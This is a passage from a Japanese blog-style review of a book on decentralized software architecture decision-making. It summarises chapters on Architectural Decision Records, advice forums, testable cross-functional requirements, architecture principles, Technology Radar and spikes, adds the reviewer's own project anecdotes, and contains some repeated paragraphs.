。形式的な文書作成に陥らないよう、実際の意思決定プロセスを支援するツールとして活用することが重要です。過度な形式主義は避けるべきです。結論と展望ADRsは現代のソフトウェア開発組織に不可欠なツールです。アーキテクチャ意思決定の透明性を高め、組織の学習を促進します。しかし、その効果を最大限に引き出すためには、組織の文化や既存のプロセスに合わせた適切な導入が必要です。Figure 6-1の意思決定プロセスの図は印象的です。ADRsが意思決定のどの段階でどのように活用されるかを明確に示しています。この図は実際の導入時のガイドとしても有用です。今後の課題としては、分散開発チームでのADRsの活用や、自動化ツールとの統合などが考えられます。これらの課題に取り組むことで、より効果的なアーキテクチャ意思決定プロセスを実現できるでしょう。結論ADRsは理論的な枠組みとしても優れていますが、実践的なツールとしてさらに重要です。とある案件では週次のアーキテクチャレビューでADRsを活用しています。これにより意思決定プロセスが標準化され、チーム全体の理解が深まりました。最後に強調したいのは、ADRsは生きたドキュメントだということです。形式的な文書作成に終始せず、実際の意思決定プロセスを支援するツールとして活用することが成功の鍵となります。組織の成長とともにADRsも進化させていく柔軟な姿勢が重要です。Chapter 6. Architectural Decision Records第6章「Architectural Decision Records」は、アーキテクチャ意思決定プロセスを支援し記録するためのアプローチとしてArchitectural Decision Records (ADRs)を詳細に解説しています。ADRsはアーキテクチャ意思決定の透明性を高め、組織の学習を促進する重要なツールとして位置づけられています。ADRsの本質と目的ADRsは単なる決定の記録ではありません。アーキテクチャ意思決定の全過程を支援する重要なツールです。現代のソフトウェア開発では意思決定の透明性とトレーサビリティが極めて重要です。実際の開発現場では以前のアーキテクチャ決定が後から問題を引き起こすことがしばしば発生します。ADRsはそのような状況でもアーキテクチャ決定の背景と理由を明確に示すことができます。意思決定の全プロセスをサポートするADRsの役割は重要です。とあるプロジェクトでも複雑なマイクロサービスアーキテクチャの移行においてADRsを活用しました。チーム間のコミュニケーションが改善され決定プロセスの透明性が大きく向上しました。Figure 6-1. The place of ADRs in the advice process より引用ADRsの構造と実践ADRsには明確な構造があります。タイトル、メタデータ、決定内容、コンテキスト、オプション、結果、アドバイスという基本的なセクションで構成されます。各セクションは読み手を意識した構造になっており、決定の背景から結果までを効果的に伝えることができます。実際の開発現場ではオプションと結果のセクションが重要です。あるプロジェクトでデータベースの選定を行う際にADRsを活用しました。複数のオプションを比較検討する過程で、チームメンバー全員が意思決定に参加できる環境を作ることができました。ADRsのライフサイクル管理ADRsのステータス管理は重要です。ドラフト、提案、承認、廃止といった基本的なステータスに加えて、組織の必要に応じて独自のステータスを追加することも可能です。ステータス管理を通じてADRsの現在の状態を明確に示すことができます。とある案件ではGitHubのプルリクエストプロセスとADRsを統合しました。これによりレビューとフィードバックのプロセスが自然な形で確立され、意思決定の質が向上しました。ADRsの組織的影響ADRsの導入は組織文化にも大きな影響を与えます。意思決定プロセスの透明性が高まることで、チーム間の信頼関係が強化されます。また、過去の決定を参照できることで、新しいメンバーのオンボーディングも効率化されます。一方で、ADRsの導入には慎重なアプローチが必要です。形式的な文書作成に陥らないよう、実際の意思決定プロセスを支援するツールとして活用することが重要です。過度な形式主義は避けるべきです。結論と展望ADRsは現代のソフトウェア開発組織に不可欠なツールです。アーキテクチャ意思決定の透明性を高め、組織の学習を促進します。しかし、その効果を最大限に引き出すためには、組織の文化や既存のプロセスに合わせた適切な導入が必要です。今後の課題としては、分散開発チームでのADRsの活用や、自動化ツールとの統合などが考えられます。これらの課題に取り組むことで、より効果的なアーキテクチャ意思決定プロセスを実現できるでしょう。結論ADRsは理論的な枠組みとしても優れていますが、実践的なツールとしてさらに重要です。とある案件では週次のアーキテクチャレビューでADRsを活用しています。これにより意思決定プロセスが標準化され、チーム全体の理解が深まりました。最後に強調したいのは、ADRsは生きたドキュメントだということです。形式的な文書作成に終始せず、実際の意思決定プロセスを支援するツールとして活用することが成功の鍵となります。組織の成長とともにADRsも進化させていく柔軟な姿勢が重要です。Part II. Nurturing and Evolving Your Culture of Decentralized TrustPart II. Nurturing and Evolving Your Culture of Decentralized Trustは、分散型アーキテクチャにおける組織文化の育成と発展に焦点を当てたパートです。Part Iで示したアドバイスプロセスとADRsを基盤として、それらを実効性のある仕組みへと成長させるために必要な要素を解説します。従来のヒエラルキー型組織から信頼ベースの分散型組織への移行における権限とガバナンスの再構築から始まり、その実現を支援する具体的な仕組みを提示します。特徴的なのはアーキテクチャ・アドバイスフォーラム、クロスファンクショナル要件、技術戦略、アーキテクチャ原則、テクノロジーレーダーといった支援要素の導入です。これらは一見シンプルですが、組織の状況に応じて柔軟に適用・進化させることができる実践的なツールです。このパートは、分散型アーキテクチャの実践に不可欠な信頼の文化を育むための具体的なアプローチを提供します。組織の一貫性を保ちながら分散型の意思決定を実現する方法を学ぶことができます。Chapter 7. Replacing Hierarchy with Decentralized Trust第7章「Replacing Hierarchy with Decentralized Trust」は、組織の階層構造を分散化された信頼関係へと転換する過程について詳細に解説しています。この章を通じて著者は、アーキテクチャの実践における信頼の重要性と、その育成・維持に必要な要素を具体的に示しています。変化を起こすリーダーはまず信頼を構築する 生き残る組織に変えるリーダーシップ作者:Frances Frei(フランシス・フライ),Anne Morriss(アン・モリス)日本能率協会マネジメントセンターAmazon信頼に基づく意思決定への転換アーキテクチャ・アドバイスプロセスは従来の階層的な意思決定構造を根本から変革します。意思決定の責任と説明責任を再分配し、より分散的で柔軟な組織構造を実現します。この転換は組織に大きな変化をもたらします。あるプロジェクトでは、従来のアーキテクチャ・レビューボードを廃止し、アドバイスプロセスへの移行を実施しました。当初は混乱もありましたが、チーム間のコミュニケーションが活発になり意思決定のスピードが大幅に向上しました。信頼文化の醸成著者は信頼文化の育成が不可欠だと主張します。信頼は自然に生まれるものではなく、意識的な取り組みが必要です。組織の規模が大きくなるにつれて、信頼関係の維持は難しくなります。とある案件では週次の振り返りミーティングを設け、意思決定プロセスの透明性を確保しています。これにより、チームメンバー同士の信頼関係が強化され、より良い意思決定が可能になりました。フロー重視のマインドセット著者はフローを重視するマインドセットの重要性を強調します。Netflixの事例を引用しながら、不必要な規則や承認プロセスを排除することの意義を説明します。実際のプロジェクトでも、過度な承認プロセスがボトルネックとなっていた経験があります。アドバイスプロセスの導入により、意思決定のフローが改善され、開発のスピードが向上しました。信頼の維持と成長組織の成長とともに信頼関係を維持することは困難になります。著者は小規模なチームから大規模な組織への移行過程で起こる課題を詳細に分析します。あるプロジェクトでは、チームの規模拡大に伴い、非公式なクリークが形成され始めました。この問題に対して、定期的な1on1ミーティングとフィードバックセッションを導入することで、信頼関係の維持に成功しました。信頼を支える要素著者は信頼関係を支える追加的な要素について言及します。これにはアーキテクチャ・アドバイスフォーラムや検証可能なCFRなどが含まれます。これらの要素は組織の状況に応じて選択的に導入することが重要です。とある案件では技術レーダーを導入し、技術選定の透明性を確保しています。これにより、チーム間の知識共有が促進され、より良い意思決定が可能になりました。確実性と予測可能性の誘惑著者は確実性と予測可能性への執着に警鐘を鳴らします。これは組織が官僚主義に陥る主要な原因となります。私も以前、過度な標準化により柔軟性を失ったプロジェクトを経験しています。実験的アプローチの重要性著者は継続的な実験とフィードバックの重要性を強調します。これは組織学習の核心です。とある案件でも小規模な実験から始め、成功事例を徐々に拡大するアプローチを採用しています。結論この章は、分散化された信頼に基づくアーキテクチャ実践への移行について、実践的な指針を提供しています。組織の成長に伴う信頼関係の変化と、それに対する対応策の重要性は印象的でした。これらの知見は、現代のソフトウェア開発組織に重要な示唆を与えます。技術の進化とともに組織構造も進化が必要です。分散化された信頼関係に基づく意思決定プロセスは、その進化の重要な一歩となるでしょう。今後の課題としては、リモートワークの普及に伴う信頼関係の構築方法や、グローバル組織における文化的な違いへの対応などが考えられます。これらの課題に対しても、本章で示された原則は有効な指針となるはずです。Chapter 8. An Architecture Advice Forum第8章「An Architecture Advice Forum」は、アーキテクチャ・アドバイスプロセスを支援する重要なツールとしてのアーキテクチャ・アドバイスフォーラムについて詳細に解説しています。この章を通じて、著者は定期的な対話の場がアーキテクチャ意思決定の質を向上させ、組織の信頼関係を強化する方法を具体的に示しています。ダイアローグ 価値を生み出す組織に変わる対話の技術作者:熊平美香ディスカヴァー・トゥエンティワンAmazonアドバイスフォーラムの本質アーキテクチャ・アドバイスフォーラムは単なる会議ではありません。それは意思決定プロセスを透明化し信頼関係を構築する場です。従来のアーキテクチャレビューボードとは異なり、承認プロセスではなく対話を重視します。このフォーラムの導入により意思決定の質が劇的に向上しました。あるプロジェクトでは、マイクロサービスアーキテクチャへの移行を決定する際にアドバイスフォーラムを活用し、多様な視点からの意見を集約できました。フォーラムの構造と運営フォーラムはシンプルな構造を持ちます。新規の決定案件に対するアドバイス、既存の決定のステータス確認、そしてその他の事項という基本的な議題構成です。このシンプルさが参加者の集中力を高め、本質的な議論を可能にします。実際の運用では定期的な開催が重要です。週次や隔週での開催が一般的ですが、組織の規模や文化に応じて調整が必要です。とある案件では週次開催を採用し、必要に応じて臨時セッションも設けています。協調的な議論の促進従来の対立的な議論から協調的な対話へのシフトがアドバイスフォーラムの特徴です。参加者は意見を戦わせるのではなく、共通の課題解決に向けて知見を共有します。Figure 8-1は従来の一対一のアドバイス形式と、フォーラム形式の違いを明確に示しています。フォーラムでは複数の視点が同時に共有され、より豊かな議論が可能になります。Figure 8-1. Comparing the interaction modes of the “no advice forum” approach (multiple, one-to-one serial interactions, one after another) with the “advice forum” alternative (multiple conversations, all in the same forum, with an audience of other advice offerers as well as nonadvising, learning observers) より引用信頼関係の構築アドバイスフォーラムは信頼関係の構築に大きく貢献します。定期的な対話を通じて、チーム間の理解が深まり、組織全体の凝集性が高まります。このフォーラムを通じて部門間の壁が徐々に低くなっていきました。実践的な導入方法フォーラムの導入は段階的に行うべきです。まず小規模なグループで実験的に開始し、成功事例を積み重ねていくアプローチが効果的です。初期段階では明確な目的と期待値を設定することが重要です。とある案件では最初の3ヶ月を試験期間として設定し、参加者からのフィードバックを基に継続的な改善を行いました。この経験から、フォーラムの形式は組織の文化に合わせて柔軟に調整すべきだと学びました。組織的な影響フォーラムは組織文化の変革をもたらします。透明性の向上は信頼関係を強化し、より良い意思決定を可能にします。また、新しいメンバーの参加障壁を下げ、知識共有を促進します。結論アーキテクチャ・アドバイスフォーラムは、現代のソフトウェア開発組織に不可欠なツールです。透明性と信頼を基盤とした意思決定プロセスは、より良いアーキテクチャの実現と組織の成長を支援します。今後の課題としては、リモートワーク環境でのフォーラムの効果的な運営や、大規模組織での展開方法の確立が挙げられます。しかし、フォーラムの基本原則を理解し適切に適用すれば、これらの課題も克服できるはずです。このフォーラムは組織の成熟度を高める強力な触媒となります。アーキテクチャ設計の質を向上させるだけでなく、エンジニアリング組織全体の協調性と創造性を高める効果があります。Chapter 9. Testable CFRs and Technology Strategy第9章「Testable CFRs and Technology Strategy」は、組織の技術的アラインメントを実現するための2つの重要な要素について詳細に解説しています。著者はテスト可能なCFR(Cross-Functional Requirements)と技術戦略を通じて、効果的な組織アラインメントを実現する方法を具体的に示しています。組織アラインメントの本質組織のアラインメントは単なる技術的な整合性以上のものです。多くの組織が技術的な標準化のみに注力し、ビジネス目標との整合性を見失いがちです。実際のプロジェクトでは、技術的な方向性は揃っていても組織の目標達成に寄与していないケースをよく目にします。あるプロジェクトでは、マイクロサービスアーキテクチャの採用により技術的な統一は図れましたが、サービスの分割粒度が業務の実態と合わず、結果として開発効率の低下を招きました。テスト可能なCFRの重要性著者はテスト可能なCFRの必要性を強調しています。CFRはシステム全体に横断的に適用される要件を明確にします。重要なのは、これらの要件が具体的でテスト可能な形で記述されることです。とある案件では、パフォーマンス要件を具体的な数値で定義し、自動テストで継続的に検証できるようにしました。「レスポンスタイムは500ms以内」といった曖昧な表現ではなく、「95%のリクエストが500ms以内、99%が800ms以内に完了すること」と明確に定義することで、チーム間の認識の違いを解消できました。技術戦略の役割技術戦略は組織の方向性を示す重要なツールです。著者は技術戦略を「組織のビジョンと目標達成に向けた技術的な選択と投資判断のフレームワーク」と定義しています。多くの組織が技術戦略を単なる技術選定の指針として扱いがちです。しかし、より重要なのは「何を選択しないか」の明確化です。あるプロジェクトでは、特定のクラウドプロバイダーに限定することで、運用負荷の軽減とコスト最適化を実現できました。ミニマルバイアブルアグリーメント著者は必要最小限の合意の重要性を強調します。これはCFRと技術戦略の両方に適用される概念です。過剰な標準化や制約は組織の柔軟性を損なう一方、不十分な合意は混乱を招きます。とある案件では「最小驚き原則」を採用し、チーム間で予期せぬ違いが発生していないかを定期的にチェックしています。これにより、必要な標準化と柔軟性のバランスを維持できています。戦略的投資の重要性著者は技術戦略を「言葉だけでなく投資」として具現化することを推奨します。これは共有サービスの形で実現されることが多いです。セルフサービス型のインフラストラクチャプラットフォームの提供が効果的でした。各チームが独自のインフラを構築・運用するのではなく、標準化されたプラットフォームを利用することで、開発効率の向上とコスト削減を実現できました。結論CFRと技術戦略は組織アラインメントを実現する上で不可欠なツールです。これらを適切に組み合わせることで、組織は効率的かつ効果的な意思決定が可能になります。しかし、これらのツールの導入には慎重なアプローチが必要です。組織の規模や文化に応じて、段階的な導入と継続的な改善が重要です。今後は、分散開発やクラウドネイティブアーキテクチャの普及に伴い、より柔軟で適応性の高いCFRと技術戦略の在り方が求められるでしょう。技術の進化に合わせて、これらのフレームワークも進化させていく必要があります。Chapter 10. Collectively Sourced Architectural Principles第10章「Collectively Sourced Architectural Principles」は、組織全体で共有されるアーキテクチャ原則の策定と維持について解説しています。この章を通じて著者は、アーキテクチャ原則が単なるドキュメントではなく、組織の技術戦略を実現するための重要な指針となることを示しています。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazonアーキテクチャ原則の本質アーキテクチャ原則は組織の技術戦略を具体化する重要なツールです。多くの組織がトップダウンでアーキテクチャ原則を定めようとしますが、そのアプローチでは現場の実態と乖離した形骸化した原則になりがちです。実際のプロジェクトでは、チームメンバー全員で原則を策定することで、より実践的で実効性のある原則を作ることができました。例えばマイクロサービスアーキテクチャの採用において、「チームの独立性を最も重視する」という原則を設定し、サービス間の結合度を最小限に抑えることができました。learning.oreilly.comプリンシプルワークショップの実践著者はプリンシプルワークショップを通じて、組織全体で原則を策定することを推奨しています。重要なのは、参加者の多様性と、戦略的なテーマに基づいた原則の整理です。原則のメンテナンス原則の進化も重要なテーマです。著者は原則を「生きたドキュメント」として捉え、定期的な見直しと更新の必要性を説きます。ADRsを通じて原則の変更を記録し、その背景と理由を明確にすることで、組織の学習を促進できます。クラウドネイティブ化の過程で原則の見直しが必要になりました。「自社のクラウド」という原則に縛られすぎて柔軟性を失っていたため、「適切なクラウドサービスの選択」という原則に更新しました。組織文化との関係著者は原則が組織文化の反映であることを強調します。単なる技術的なガイドラインではなく、組織の価値観とビジョンを体現するものとして位置づけています。私のチームでは原則の策定プロセス自体が、組織文化の変革のきっかけとなりました。チーム間の対話が活発になり、技術的な決定に対する共通理解が深まりました。実践的な適用原則の適用は柔軟であるべきです。著者は原則を「絶対的なルール」ではなく「意思決定の指針」として捉えることを推奨します。これは現代のソフトウェア開発における不確実性に対応する賢明なアプローチです。例えば、あるプロジェクトでは特定の機能実装において原則との衝突が発生しましたが、その状況をADRで明確に記録し、例外的な対応の理由を共有することで、チーム全体の理解を深めることができました。結論アーキテクチャ原則は、組織の技術戦略を実現するための重要なツールです。しかし、その効果を最大限に引き出すためには、全員参加の策定プロセス、定期的な見直し、そして柔軟な適用が不可欠です。今後の課題としては、リモートワーク環境での原則策定ワークショップの実施方法や、グローバル組織での文化的な違いへの対応が挙げられます。しかし、著者が示した基本的なフレームワークは、これらの課題に対しても十分な適用可能性を持っています。Part III. Finding Your Way Through the Decision LandscapeChapter 11. Technology Radar第11章「Using a Technology Radar」は、組織の技術選択と意思決定を支援するためのツールとしてのTechnology Radarについて解説しています。著者は単なる技術トレンドの可視化ツール以上の価値をTechnology Radarに見出し、組織の集合知を活用した意思決定支援の仕組みとして位置づけています。Technology Radarといえばどこかのポッドキャストでt-wadaさんがオススメをしていたのでそこから見始めている(本当に覚えてなくて誰か教えてください⋯)。www.thoughtworks.comTechnology Radarの本質Technology Radarは航空管制のレーダーに似た形式で技術トレンドを可視化します。Thoughtworksが開発したこのツールは技術の採用状況を4つの象限(Tools/Techniques/Platforms/Languages & Frameworks)と4つのリング(Adopt/Trial/Assess/Hold)で表現します。著者はこれを「単なる技術マッピングではなく組織の集合的な経験と知見を凝縮したもの」と説明します。このビジュアライゼーションは一目で技術の位置づけを把握できる優れた特徴を持ちます。「Mermaid」のような新興技術が「Trial」から「Adopt」へ移行する様子や「AWS」が「Adopt」から「Trial」へ後退する変遷など、技術の盛衰を時系列で追跡できます。Technology Radarと意思決定プロセスTechnology Radarは組織の意思決定プロセスと密接に連携します。アーキテクチャ決定記録(ADR)にTechnology Radarのブリップ(技術要素)を参照することで、決定の文脈や根拠を明確にできます。Technology Radarと意思決定プロセスの連携は双方向です。新しい技術の採用決定は新規ブリップの追加につながり、既存技術の評価変更は位置の移動として反映されます。この相互作用により、組織の技術選択の履歴と根拠が透明化されます。組織独自のTechnology Radarの構築著者は組織固有のTechnology Radarの重要性を強調します。社内版Technology Radarでは自社開発のツールやフレームワークもブリップとして登録できます。また象限やリングの定義も組織の文脈に合わせて調整可能です。Technology Radarの作成プロセスもまた重要な価値を持ちます。ブリップの収集から位置づけの決定まで、組織全体を巻き込んだ共創的なプロセスとして設計されています。このプロセス自体が技術に関する組織的な対話と学習の機会となります。継続的な更新と発展Technology Radarは定期的な更新(リスイープ)により鮮度を保ちます。更新プロセスにおけるブリップのステータス変更を示しています。定期更新に加えて個別の意思決定に応じた随時更新も可能です。この柔軟な更新メカニズムにより、組織の技術動向をリアルタイムに反映できます。更新の際にはブリップの履歴を保持することが推奨されます。各ブリップの変遷を追跡できる履歴ページを用意することで、技術選択の経緯と根拠を後から参照できます。これは新規参画者のオンボーディングや過去の意思決定の振り返りに有用です。実践的な示唆Technology Radarの実践では、適切な更新頻度の設定が重要です。著者は四半期または半年ごとの更新を推奨していますが、組織の技術変化の速度に応じて調整が必要です。より重要なのは更新のクオリティです。表面的な技術トレンドの追跡ではなく、組織の経験と教訓を凝縮した有意義な指針となることを目指すべきです。Technology Radarの運用では意思決定支援ツールとしての本質を見失わないことが肝要です。単なる技術カタログではなく、組織の技術選択を導く羅針盤として機能させる必要があります。そのためには技術情報の蓄積だけでなく、その活用を促進する仕組みづくりも重要です。Technology Radarは組織の技術戦略を可視化し共有するための強力なツールです。しかしその効果を最大限に引き出すには、組織文化や既存のプロセスとの調和が不可欠です。形式的な導入ではなく、組織の意思決定プロセスと密接に連携させることで、真の価値を発揮できます。結論Technology Radarは組織の技術選択を支援する効果的なツールとして機能します。その価値は単なる技術トレンドの可視化にとどまらず、組織の集合知を活用した意思決定支援の仕組みとして重要です。定期的な更新と履歴の保持により、組織の技術進化の軌跡を記録し学習に活かすことができます。意思決定プロセスとの密接な連携により、組織全体の技術力向上に貢献する重要な基盤となります。Part III. Finding Your Way Through the Decision LandscapePart III: Finding Your Way Through the Decision Landscape では、分散型の意思決定プロセスを効果的に実践するためのフレームワークや技術、心構えを紹介しています。まず、意思決定における人間的な側面に焦点を当て、感情、創造性、バイアス、恐れといった要素がどのように意思決定に影響を与えるかを探り、それを乗り越えるために認知科学やチェックリストを活用して自己の弱点を意識的に克服する方法を提案します。また、ソフトウェア開発における不確実性や「未知の未知」に対処するために、小さな決定を迅速に積み重ねるアプローチや、最小限の機能を持つシステムを構築して初期段階で重要な決定を検証する「Walking Skeleton」を推奨し、スパイクを活用してリスクを軽減する方法を説明します。さらに、意思決定の相互関連性を認識し、過去と未来の決定がどのように影響し合うかを4つの視点から分析しながら、技術的および社会技術的な要素を考慮したアプローチを示し、組織内の信頼関係や文化の影響を考慮した対話やフィードバックを重視することの重要性を強調しています。これらを通じて、分散型の意思決定を支える心構えと実践的な手法を提供し、複雑な意思決定の環境を乗り越えるための実用的な知見を得られるようにしています。Chapter 12. The Art of Deciding第12章「The Art of Deciding」は、アーキテクチャ意思決定における人間的な側面、感情や創造性といった定量化が難しい要素に焦点を当てています。著者は意思決定を単なる論理的プロセスとしてではなく、人間の感性や組織の文化が深く関わる芸術的な営みとして捉え、その本質と実践方法を詳細に解説しています。コンテキストのフレーミング意思決定における最初の重要なステップは適切なコンテキストの設定です。著者は地図の比喩を用いて説明します。1:1の地図は全ての詳細を含むものの実用的ではありません。一方で1:1000の地図は必要な情報を抽象化し意思決定を支援します。意思決定のコンテキストも同様に適切な抽象化と焦点付けが重要です。例えば私が以前関わったクラウド移行プロジェクトでは、技術的な観点だけでなく法規制やビジネス要件も含めた包括的なコンテキストを設定することで、より適切な意思決定が可能になりました。オプションと結果の検討意思決定のオプションと結果を検討する際は創造性が重要な役割を果たします。著者は「フレームに制限されすぎない」ことを強調します。これは実務でも重要な指摘です。以前のプロジェクトで既存のアーキテクチャパターンにとらわれすぎた結果、より良いソリューションを見逃した経験があります。オプションの検討ではインスピレーションの源を広く求めることも重要です。技術書だけでなく他分野の知見も参考になります。例えば著者は農業の本からも洞察を得ています。この多面的なアプローチは新しい視点をもたらします。アドバイスを通じた洗練アドバイスプロセスは意思決定の質を高める重要な要素です。ただしこれは形式的なものではなく社会的な契約として機能します。著者はBadaraccoの質問フレームワークを引用し「我々の義務は何か」「現実の世界で何が機能するか」といった観点からの検討を推奨します。実務ではアドバイスの質と形式のバランスが重要です。形式的なレビューに陥らず建設的な対話を生み出すには組織文化の醸成が必要です。私のチームでは週次のアーキテクチャ・フォーラムを設け、オープンな議論の場を作っています。メタ認知の重要性著者は意思決定者のメタ認知(自己の思考プロセスへの理解)の重要性を強調します。これは感情やバイアスへの対処に重要です。例えば「なぜその選択に不安を感じるのか」「どのようなバイアスが働いているのか」を意識的に考えることで、より良い判断が可能になります。実践では3つのエクササイズが提案されています。理由の共有・反応と応答の区別・挑戦的なアドバイスの積極的な収集です。これらは日々の意思決定プロセスに組み込むことで効果を発揮します。意思決定の実行最後の意思決定の実行段階では恐れとバイアスへの対処が重要です。著者はBikartの5つの恐れ(失敗・成功・同一化・認識欠如・利己性)を紹介し、これらへの認識と対処の重要性を説明します。実務では「決定を試着する」というアプローチが有効です。ADRをドラフト状態で作成し一晩置くことで、より客観的な判断が可能になります。私のチームでもこのプラクティスを採用し効果を上げています。組織文化への影響本章の内容は個人の意思決定スキル向上だけでなく組織文化の変革にも大きな示唆を与えます。従来型のアーキテクトが意思決定権限を手放し、アドバイザーとしての新しい役割を受け入れるプロセスは重要です。本章では著者が実際に経験した事例としてPete Hunter(エンジニアリングディレクター)のケースが印象的です。Pete Hunterはアーキテクチャ・アドバイスプロセスを初めて導入したクライアントの一人でした。彼は当初、チームに意思決定権限を委譲することへの不安や懸念を抱えていましたが、プロセスを通じて組織の成長を実感しました。Hunterの事例は権限移譲における心理的な課題を鮮明に示しています。彼は意思決定権限の委譲に際して、チームの能力や判断への不安、コントロール欲求との葛藤など、多くのリーダーが直面する感情的な課題を率直に語っています。しかし最終的に彼は「We need to let go and support them」(権限を手放してチームをサポートする必要がある)という重要な洞察に至りました。この経験は組織における信頼構築と権限委譲の本質を示す貴重な事例となっています。結論アーキテクチャ意思決定は論理的な分析だけでなく人間的な要素を含む複雑な営みです。本章は意思決定の「アート」としての側面に光を当て、より効果的な実践のための具体的なガイダンスを提供しています。重要なのはコンテキストのフレーミング、創造的なオプション検討、アドバイスプロセスの活用、メタ認知の実践です。これらの要素を意識的に取り入れることで、より良いアーキテクチャ意思決定が可能になります。今後の組織運営においては、これらの知見を活かした意思決定プロセスの確立と、それを支える文化の醸成が重要な課題となるでしょう。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 13. Tackling Architectural Variability第13章「Tackling Architectural Variability」は、ソフトウェア開発における不確実性とアーキテクチャの可変性に焦点を当てています。著者は同じシステムを二度と作ることはないという洞察から始め、この本質的な可変性にどう向き合うべきかについて具体的な指針を提供します。BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?作者:ベント・フリウビヤ,ダン・ガードナーサンマーク出版Amazon可変性の本質と影響ソフトウェア開発における可変性は避けられない現実です。最も慎重に計画された開発プロジェクトでさえ予期せぬ変化に直面します。例えばある大規模プロジェクトでは、当初想定していなかったスケーリング要件の変更により、ID管理システムの設計を大幅に見直す必要が生じました。可変性は4つの主要な課題をもたらします。作業の困難さ、予測不可能な変更の発生、認知的負荷の増大、そしてコミュニケーションと同期のオーバーヘッドです。これらの課題は個々のチームだけでなく組織全体に影響を及ぼします。可変性への実践的アプローチ著者は可変性を単なる問題としてではなく「ソフトウェアの力の源泉」として捉え直すことを提案します。この視点は非常に重要です。私のチームでも、予期せぬ要件変更を新機能開発の機会として活用した経験があります。重要なのは小さな決定の積み重ねというアプローチです。この方法は3つの利点を持ちます。第一に意思決定から実装までの時間を短縮できます。第二にオーバーヘッドを削減できます。そして第三にフィードバックを加速し、リスクを低減できます。Walking Skeletonの活用著者は初期の意思決定を検証する手段としてWalking Skeletonの概念を紹介します。これは最小限の機能を持つ実装を通じて、主要なアーキテクチャ上の決定を早期に検証する手法です。新規プロジェクトの立ち上げ時にこのアプローチを採用し、大きな効果を得ました。注目すべきは機能的なコンテキストを通じた決定の検証です。単なる技術的な検証ではなく実際のユースケースに基づく検証により、より実践的なフィードバックを得ることができます。フラクチャープレーンの活用大きな決定を分割する際の指針として著者はフラクチャープレーンの概念を提示します。機能的、タイミング的、コードベース上の分割点を見極めることで、より効果的な意思決定が可能になります。私のプロジェクトでも、マイクロサービスの分割において、この考え方に基づいてサービス境界を定義し、成功を収めました。将来のフローへの影響意思決定は現在の開発フローだけでなく将来のフローにも影響を与えます。著者はReinertsenの「小さなバッチサイズは高いオーバーヘッドを生む」という一般的な認識への反論を紹介します。実際の開発現場でも、小さな決定の積み重ねが結果として意思決定の質と速度を向上させる事例を多く経験しています。結論可変性はソフトウェア開発の本質的な特徴であり、それを排除するのではなく「活用する」という視点が重要です。著者の提案する小さな決定の積み重ねというアプローチは、現代のソフトウェア開発における実践的な指針となります。この方法はマイクロサービスアーキテクチャなど複雑なシステムの開発において、高い効果を発揮しています。今後の組織運営においては、この知見を活かし「予測不可能性を前提とした開発プロセス」の確立が重要な課題となるでしょう。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 14. Variability and the Interconnectedness of Decisions第14章「Variability and the Interconnectedness of Decisions」は、アーキテクチャ意思決定の相互関連性とその可変性について深く掘り下げています。著者は意思決定の関係性を4つの視点から分析し、それらを理解し効果的に扱うためのツールとしてスパイクの活用を提案しています。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazonスパイクによる可変性への対処意思決定の可変性に対処する強力なツールとして著者はスパイクの活用を提案します。スパイクは不確実性の高い決定を検証する際に非常に効果的です。例えば以前のプロジェクトでマイクロサービスアーキテクチャへの移行を検討した際、スパイクを使って主要なアーキテクチャ上の決定を早期に検証できました。Figure 14-1. Spikes fit into an overall decision process at the start, somewhere around “decision required” and “option making” より引用Figure 14-1に示されるように、スパイクは意思決定プロセスの初期段階で活用されます。本番環境へのデプロイまで待たずにフィードバックを得られることは大きな利点です。実際にスパイクを通じて想定外の課題を早期に発見し、アプローチを修正できた経験が何度もあります。意思決定の4つの視点著者は意思決定の関係性を理解するための4つの視点を提示します。第一に意思決定の連続性です。決定は単独で存在するのではなく時系列上で連なっています。第二に逆ピラミッド構造です。より低層の決定が上層の決定のコンテキストを形成します。第三に原子性です。これ以上分割できない最小単位の決定が存在します。第四に双方向の対話です。新しい決定が過去の決定に影響を与えることもあります。この4つの視点は実務でも非常に有用です。あるプロジェクトでは意思決定の逆ピラミッド構造を意識することで、より効果的な決定順序を設計できました。低層の決定が上層に与える影響を考慮することは重要です。レイヤー構造の重要性著者は意思決定を3つの主要なレイヤーで捉えることを提案します。レイヤー1は独立した製品やプログラムに関する決定です。レイヤー2は境界と制約の保護です。レイヤー3は自律的で接続されたコミュニティに関する決定です。でもこのレイヤー構造の理解は非常に重要でした。クラウドネイティブアプリケーションの開発では、レイヤー2での適切な境界設定が後の開発の成否を大きく左右しました。各レイヤーの特性を理解し意識的に決定を行うことで、より堅牢なアーキテクチャを実現できます。社会技術的な複雑性意思決定の相互関連性は技術的な側面だけでなく社会的な側面も持ちます。著者は信頼関係とコントロールの感覚の重要性を強調します。技術的に正しい決定であっても、組織の信頼関係が損なわれると実装が困難になることがあります。この文脈で参考になるのが『何回説明しても伝わらない』という本です。この本は認知科学の観点から、コミュニケーションの本質的な課題と解決策を提示しています。特に「話せばわかる」という前提自体を問い直し、相手の立場に立った理解と伝達の重要性を説いています。これは分散型アーキテクチャにおける意思決定プロセスを考える上でも重要な示唆を与えてくれます。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonスパイクはこの社会技術的な複雑性にも対処できます。コードを書いて検証するという具体的なアプローチは、抽象的な議論よりも建設的な対話を促進します。私のチームでもスパイクを通じた検証により、チーム間の信頼関係を強化できた経験があります。結論可変性と相互関連性を持つアーキテクチャ意思決定において、スパイクは強力なツールとなります。意思決定の4つの視点を理解し、適切なレイヤー構造で捉えることで、より効果的な意思決定が可能になります。また社会技術的な側面にも配慮することで、組織全体としての決定の質を向上させることができます。今後の組織運営においては、これらの知見を活かし「早期検証と段階的な進化」を重視したアプローチが重要になるでしょう。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 15. The Transition of Power and Accountability第15章「The Transition of Power and 